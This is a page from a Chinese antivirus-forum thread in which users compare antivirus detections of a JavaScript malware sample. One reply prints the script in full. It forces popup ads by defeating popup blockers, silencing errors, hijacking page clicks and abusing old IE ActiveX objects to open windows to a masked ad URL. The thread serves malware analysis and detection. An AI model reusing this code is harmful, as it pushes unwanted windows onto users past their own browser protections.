12
返回列表 发新帖
楼主: ELOHIM
收起左侧

[病毒样本] js脚本

[复制链接]
zq19861019
发表于 2016-7-3 11:08:38 | 显示全部楼层
gdata miss
sunnyjianna
发表于 2016-7-3 14:24:12 | 显示全部楼层
诺顿,我不认识
黑莓
发表于 2016-7-3 19:59:18 | 显示全部楼层
上报
[drweb.com #7041143]
翼风Fly
发表于 2016-7-3 23:50:33 | 显示全部楼层

直接看代码啊。。。。这并不是给客户端设计的东东
没仔细看,看不出有什么特别的问题。无非就是弹个窗?

[mw_shl_code=javascript,true]function setCookie(name, value, expire) {
    window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}

function getCookie(Name) {
    var search = Name + "=";
    if (window.document.cookie.length > 0) { // if there are any cookies
        offset = window.document.cookie.indexOf(search);
        if (offset != -1) { // if cookie exists
            offset += search.length; // set index of beginning of value
            end = window.document.cookie.indexOf(";", offset) // set index of end of cookie value
            if (end == -1) end = window.document.cookie.length;
            return unescape(window.document.cookie.substring(offset, end));
        }
    }
    return null;
}

function register(name) {
    var today = new Date();
    var expires = new Date();
    expires.setTime(today.getTime() + 1000 * 60 * 60 * 24);
    setCookie("nbbulo", name, expires);
}

function blockError() {
    return true;
}
window.onerror = blockError;
if (window.SymRealWinOpen) {
    window.open = SymRealWinOpen;
}
if (window.NS_ActualOpen) {
    window.open = NS_ActualOpen;
}
var usingClick = false;
var usingObject = false;
var usingEditor = false;
var popwin = null;
var poped = false;
var paypopupURL = "http://www.*****.net/***/";
if (typeof(contextualAds) == 'undefined') {
    var contextualAds = '';
}
if (!document.getElementById('paypopupScriptDiv')) {
    document.writeln('<div id=paypopupScriptDiv style="top: 0; width: 0; height: 0; position: relative; visibility: hidden;"></div>');
}
var blk = 1;
var setupClickSuccess = false;
var googleInUse = false;
var pop = 'enter';
var myurl = document.location.protocol + "//" + document.location.host;
var frequencyCap = '-1'; //hours
var cookieValue = 'yes';
var cookieName = 'PayPopupAds';

function setPayPopUpCookie() {
    if (frequencyCap > 0) {
        var today = new Date();
        var expire = new Date();
        expire.setTime(today.getTime() + 3600000 * frequencyCap);
        document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + "; path=/";
    } else if (frequencyCap == 0) {
        document.cookie = cookieName + "=" + escape(cookieValue) + "; path=/";
    }
}

function ReadPayPopUpCookie() {
    var theCookie = "" + document.cookie;
    var ind = theCookie.indexOf(cookieName);
    if (ind == -1 || cookieName == "") return "";
    var ind1 = theCookie.indexOf(';', ind);
    if (ind1 == -1) ind1 = theCookie.length;
    return unescape(theCookie.substring(ind + cookieName.length + 1, ind1));
}
if (ReadPayPopUpCookie() == cookieValue) {
    poped = true;
}
contextualAds = '';
var MAX_TRIED = 20;
var objectTried = false;
var tried = 0;
var randkey = '0';
var myWindow;
var popWindow;
var setupObjectSuccess = 0;

function setupObject() {
    if (usingObject) {
        try {
            if (setupObjectSuccess < 5) {
                var psDiv = document.getElementById('paypopupScriptDiv');
                if (psDiv) {
                    psDiv.innerHTML += '<INPUT STYLE="display:none;" ID="autoHit" TYPE="TEXT" ONKEYPRESS="showObject()">';
                    popWindow = window.createPopup();
                    popWindow.document.body.innerHTML = '<DIV ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="" TYPE="text/html"></OBJECT></DIV>';
                    psDiv.innerHTML += '<IFRAME NAME="popIframe" STYLE="position:absolute;top:-100px;left:-100px;width:1px;height:1px;" SRC="about:blank"></IFRAME>';
                    psDiv.innerHTML += '<OBJECT ID="getParentFrame" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="" TYPE="text/html"></OBJECT>';
                    setupObjectSuccess = 6;
                } else {
                    setTimeout('setupObject();', 500);
                }
            }
        } catch (e) {
            if (setupObjectSuccess < 5) {
                setupObjectSuccess++;
                setTimeout('setupObject();', 500);
            } else if (setupObjectSuccess == 5) {
                objectTried = true;
            }
        }
    }
}

function tryObject() {
    if (!objectTried && !poped) {
        if (setupObjectSuccess == 6 && googleInUse && popWindow && popWindow.document.getElementById('getParentDiv') && popWindow.document.getElementById('getParentDiv').object && popWindow.document.getElementById('getParentDiv').object.parentWindow) {
            myWindow = popWindow.document.getElementById('getParentDiv').object.parentWindow;
        } else if (setupObjectSuccess == 6 && !googleInUse && popIframe && popIframe.getParentFrame && popIframe.getParentFrame.object && popIframe.getParentFrame.object.parentWindow) {
            myWindow = popIframe.getParentFrame.object.parentWindow;
            popIframe.location.replace('about:blank');
        } else {
            setTimeout('tryObject()', 200);
            tried++;
            if (tried >= MAX_TRIED && !objectTried) {
                objectTried = true;
            }
            return;
        }
        openObject();
        window.windowFired = true;
        self.focus();
    }
}

function openObject() {
    if (!objectTried && !poped) {
        if (myWindow && window.windowFired) {
            window.windowFired = false;
            document.getElementById('autoHit').fireEvent("onkeypress", (document.createEventObject().keyCode = escape(randkey).substring(1)));
        } else {
            setTimeout('openObject();', 100);
        }
        tried++;
        if (tried >= MAX_TRIED) {
            objectTried = true;
        }
    }
}

function showObject() {
    if (!objectTried && !poped) {
        if (googleInUse) {
            window.daChildObject = popWindow.document.getElementById('objectRemover').children(0);
            window.daChildObject = popWindow.document.getElementById('objectRemover').removeChild(window.daChildObject);
        }
        if (!getPaypopupURL(window.open('about:blank', 'Ads1146107515'), 1)) {
            if (!googleInUse) {
                googleInUse = true;
                tried = 0;
                tryObject();
            }
        }
        objectTried = true;
    }
}
var startObjectSuccess = 0;

function startObject() {
    var psDiv = document.getElementById('paypopupScriptDiv');
    if (psDiv) {
        psDiv.innerHTML += '<div><object id="paypopupObject" width=0 height=0 classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="ActivateApplets" value="1"><param name="ActivateActiveXControls" value="1"></object></div>';
        startObjectSuccess = 6;
        setTimeout('popObject()', 100);
    } else if (startObjectSuccess < 5) {
        startObjectSuccess++;
        setTimeout('startObject();', 50);
    }
}

function popObject() {
    if (poped) {
        return true;
    }
    var pObj = document.getElementById('paypopupObject');
    var psDiv = document.getElementById('paypopupScriptDiv');
    if (psDiv && pObj) {
        try {
            psDiv.style.visibility = 'visible';
            psDiv.style.position = 'absolute';
            pObj.DOM.Script.execScript("function paypopupOpen() {popwin = window.open('about:blank','Ads1146107515' ); if (popwin) {popwin.blur();} return popwin;}");
            getPaypopupURL(pObj.DOM.Script.paypopupOpen(), 1);
            psDiv.style.position = 'relative';
            psDiv.style.visibility = 'hidden';
            return true;
        } catch (e) {
            setTimeout('popObject()', 200);
        }
        return false;
    }
}

function paypopup() {
    if (!poped) {
        if (!usingClick && !usingObject) {
            getPaypopupURL(window.open('about:blank', 'Ads1146107515'), 0);
        }
    }
    if (!poped) {
        setupClick();
        if (usingObject) {
            tryObject();
        }
    }
}

function setupClick() {
    if (!poped && !setupClickSuccess) {
        setupClickSuccess = true;
        if (window.Event) document.captureEvents(Event.CLICK);
        prePaypopOnclick = document.onclick;
        document.onclick = paypopupClick;
        self.focus();
    }
}

function paypopupClick(e) {
    if (!poped) {
        if (parseInt(navigator.appVersion) > 3) {
            var leftMouseClick = 1;
            if (navigator.appName == "Netscape") {
                leftMouseClick = (e.which == 1);
            } else {
                leftMouseClick = true
            };
            if (leftMouseClick) {
                getPaypopupURL(window.open('about:blank', 'Ads1146107515'), 2);
            }
            if (typeof(prePaypopOnclick) == "function") {
                prePaypopOnclick();
            }
        }
    }
}

function detectGoogle() {
    if (usingObject) {
        var psDiv = document.getElementById('paypopupScriptDiv');
        if (psDiv) {
            psDiv.innerHTML += '<DIV STYLE="display:none;"><OBJECT ID="detectGoogle" CLASSID="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" STYLE="display:none;" CODEBASE="view-source:about:blank"></OBJECT></DIV>';
            googleInUse |= (typeof(document.getElementById('detectGoogle')) == 'object');
        } else {
            setTimeout('detectGoogle()', 10);
        }
    }
}

function version() {
    var os = 'W0';
    var bs = 'I0';
    var isframe = false;
    var browser = window.navigator.userAgent;
    if (browser.indexOf('Win') != -1) {
        os = 'W1';
    }
    if (browser.indexOf("SV1") != -1) {
        bs = 'I2';
    } else if (browser.indexOf("Opera") != -1) {
        bs = "I0";
    } else if (browser.indexOf("Firefox") != -1) {
        bs = "I0";
    } else if (browser.indexOf("Microsoft") != -1 || browser.indexOf("MSIE") != -1) {
        bs = 'I1';
    }
    if (top != self) {
        isframe = true;
    }
    usingClick = blk && ((browser.indexOf("SV1") != -1) || (browser.indexOf("Opera") != -1) || (browser.indexOf("Firefox") != -1));
    usingObject = blk && (browser.indexOf("SV1") != -1) && !(browser.indexOf("Opera") != -1) && ((browser.indexOf("Microsoft") != -1) || (browser.indexOf("MSIE") != -1));
    usingEditor = blk && (browser.indexOf("SV1") != -1) && !(browser.indexOf("Opera") != -1) && ((browser.indexOf("Microsoft") != -1) || (browser.indexOf("MSIE") != -1));
    detectGoogle();
}
version();

function getPaypopupURL(popwin, bk) {
    if (popwin) {
        popwin.location = paypopupURL;
    }
    popwin.blur();
    self.focus();
    poped = true;
    setPayPopUpCookie();
    return popwin;
}

function loadingPop() {
    var c = getCookie("nbbulo");
    if (c != null) {
        return;
    }
    register("BluePower"); {
        if (!usingClick && !usingObject) {
            if (pop == "enter") {
                paypopup();
            }
        } else {
            setupClick();
            if (usingObject) {
                tryObject();
            }
        }
    }
    if (usingObject) {
        setupObject();
    }
    if (usingEditor) {
        startObject();
    }
}
loadingPop();[/mw_shl_code]

轩夏
发表于 2016-7-5 09:48:53 | 显示全部楼层
MSE 报的 Trojan:JS/ForcePopup.A 这个
ELOHIM
 楼主| 发表于 2016-7-5 11:56:46 | 显示全部楼层
翼风Fly 发表于 2016-7-3 23:50
直接看代码啊。。。。这并不是给客户端设计的东东
没仔细看,看不出有什么特别的问题。无非就是弹个窗? ...

用户不想弹得时候强制弹窗,就是策略绕过吧……
ELOHIM
 楼主| 发表于 2016-7-5 11:57:05 | 显示全部楼层
轩夏 发表于 2016-7-5 09:48
MSE 报的 Trojan:JS/ForcePopup.A 这个

居然不一样,没有在测试了。。。
Eset小粉絲
发表于 2016-7-5 12:06:46 | 显示全部楼层
Avira 分析爲 CLEAN。。。
MaCoco
发表于 2016-7-7 17:25:10 | 显示全部楼层
js这种前端语言,当然要直接看代码了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-14 17:00 , Processed in 0.088560 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表